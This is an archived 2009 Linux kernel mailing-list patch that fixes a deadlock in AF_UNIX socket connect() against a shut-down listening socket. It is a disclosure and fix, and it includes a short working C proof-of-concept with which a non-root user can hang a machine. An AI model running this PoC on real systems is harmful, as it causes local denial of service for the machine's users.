From patchwork Mon Oct 19 06:02:52 2009 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit X-Patchwork-Submitter: Tomoki Sekiyama X-Patchwork-Id: 36359 X-Patchwork-Delegate: davem@davemloft.net Return-Path: X-Original-To: patchwork-incoming@ozlabs.org Delivered-To: patchwork-incoming@ozlabs.org Received: from vger.kernel.org (vger.kernel.org [209.132.176.167]) by ozlabs.org (Postfix) with ESMTP id 2DB6BB7B9E for ; Mon, 19 Oct 2009 17:24:08 +1100 (EST) Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand id S1753971AbZJSGXW (ORCPT ); Mon, 19 Oct 2009 02:23:22 -0400 Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753726AbZJSGXV (ORCPT ); Mon, 19 Oct 2009 02:23:21 -0400 Received: from mailx.hitachi.co.jp ([133.145.228.49]:58590 "EHLO mailx.hitachi.co.jp" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP id S1753471AbZJSGXU (ORCPT ); Mon, 19 Oct 2009 02:23:20 -0400 X-Greylist: delayed 1216 seconds by postgrey-1.27 at vger.kernel.org; Mon, 19 Oct 2009 02:23:19 EDT Received: from mail9.hitachi.co.jp by mailx.hitachi.co.jp (8.9.3p3/3.7W-mailx) id PAA09573; Mon, 19 Oct 2009 15:05:21 +0900 (JST) Received: from mlsv8.hitachi.co.jp (unknown [133.144.234.166]) by mail9.hitachi.co.jp (Postfix) with ESMTP id 64A7A37C85; Mon, 19 Oct 2009 15:03:06 +0900 (JST) Received: from mfilter2.hitachi.co.jp by mlsv8.hitachi.co.jp (8.13.1/8.13.1) id n9J636qh000370; Mon, 19 Oct 2009 15:03:06 +0900 Received: from hitachi.com (mfbcchk3.hitachi.co.jp [10.201.6.152]) by mfilter2.hitachi.co.jp (Switch-3.3.2/Switch-3.3.2) with ESMTP id n9INUk95009873; Mon, 19 Oct 2009 15:03:05 +0900 Received: from vshuts4.hitachi.co.jp ([vshuts4.hitachi.co.jp [10.201.6.80]]) by mfbcchk3.hitachi.co.jp with RELAY id n9J63591009603 ; Mon, 19 Oct 2009 15:03:05 +0900 X-AuditID: b753bd60-aae45ba000006009-74-4adc0118c78d Received: from hsdlgw92.sdl.hitachi.co.jp (unknown [133.144.7.20]) by vshuts4.hitachi.co.jp (Symantec Mail Security) with ESMTP id D12A82042B1; Mon, 19 Oct 2009 15:03:04 +0900 (JST) Received: from vgate2.sdl.hitachi.co.jp by hsdlgw92.sdl.hitachi.co.jp (8.13.1/3.7W06092911) id n9J6325B027463; Mon, 19 Oct 2009 15:03:02 +0900 Received: from sdl99w.sdl.hitachi.co.jp ([133.144.14.250]) by vgate2.sdl.hitachi.co.jp (SAVSMTP 3.1.1.32) with SMTP id M2009101915030110127 ; Mon, 19 Oct 2009 15:03:01 +0900 Received: from [127.0.0.1] (IDENT:U2FsdGVkX1/AmcgvkVIuLYzVZua5Qr/S4FK/Y6p3Ly4@localhost.localdomain [127.0.0.1]) by sdl99w.sdl.hitachi.co.jp (8.13.1/3.7W04031011) with ESMTP id n9J62q0Y025538; Mon, 19 Oct 2009 15:02:52 +0900 Message-ID: <4ADC010C.5070809@hitachi.com> Date: Mon, 19 Oct 2009 15:02:52 +0900 From: Tomoki Sekiyama User-Agent: Thunderbird 2.0.0.23 (Windows/20090812) MIME-Version: 1.0 To: linux-kernel@vger.kernel.org, netdev@vger.kernel.org, alan@lxorguk.ukuu.org.uk Cc: davem@davemloft.net, satoshi.oshima.fk@hitachi.com, hidehiro.kawai.ez@hitachi.com, hideo.aoki.tk@hitachi.com Subject: [PATCH] AF_UNIX: Fix deadlock on connecting to shutdown socket X-Brightmail-Tracker: AAAAAA== X-FMFTCR: RANGEC Sender: netdev-owner@vger.kernel.org Precedence: bulk List-ID: X-Mailing-List: netdev@vger.kernel.org Hi, I found a deadlock bug in UNIX domain socket, which makes able to DoS attack against the local machine by non-root users. How to reproduce: 1. Make a listening AF_UNIX/SOCK_STREAM socket with an abstruct namespace(*), and shutdown(2) it. 2. Repeat connect(2)ing to the listening socket from the other sockets until the connection backlog is full-filled. 3. connect(2) takes the CPU forever. If every core is taken, the system hangs. PoC code: (Run as many times as cores on SMP machines.) int main(void) { int ret; int csd; int lsd; struct sockaddr_un sun; /* make an abstruct name address (*) */ memset(&sun, 0, sizeof(sun)); sun.sun_family = PF_UNIX; sprintf(&sun.sun_path[1], "%d", getpid()); /* create the listening socket and shutdown */ lsd = socket(AF_UNIX, SOCK_STREAM, 0); bind(lsd, (struct sockaddr *)&sun, sizeof(sun)); listen(lsd, 1); shutdown(lsd, SHUT_RDWR); /* connect loop */ alarm(15); /* forcely exit the loop after 15 sec */ for (;;) { csd = socket(AF_UNIX, SOCK_STREAM, 0); ret = connect(csd, (struct sockaddr *)&sun, sizeof(sun)); if (-1 == ret) { perror("connect()"); break; } puts("Connection OK"); } return 0; } (*) Make sun_path[0] = 0 to use the abstruct namespace. If a file-based socket is used, the system doesn't deadlock because of context switches in the file system layer. Why this happens: Error checks between unix_socket_connect() and unix_wait_for_peer() are inconsistent. The former calls the latter to wait until the backlog is processed. Despite the latter returns without doing anything when the socket is shutdown, the former doesn't check the shutdown state and just retries calling the latter forever. Patch: The patch below adds shutdown check into unix_socket_connect(), so connect(2) to the shutdown socket will return -ECONREFUSED. Signed-off-by: Tomoki Sekiyama Signed-off-by: Masanori Yoshida --- net/unix/af_unix.c | 2 ++ 1 files changed, 2 insertions(+), 0 deletions(-) diff --git a/net/unix/af_unix.c b/net/unix/af_unix.c index 51ab497..fc820cd 100644 --- a/net/unix/af_unix.c +++ b/net/unix/af_unix.c @@ -1074,6 +1074,8 @@ restart: err = -ECONNREFUSED; if (other->sk_state != TCP_LISTEN) goto out_unlock; + if (other->sk_shutdown & RCV_SHUTDOWN) + goto out_unlock; if (unix_recvq_full(other)) { err = -EAGAIN;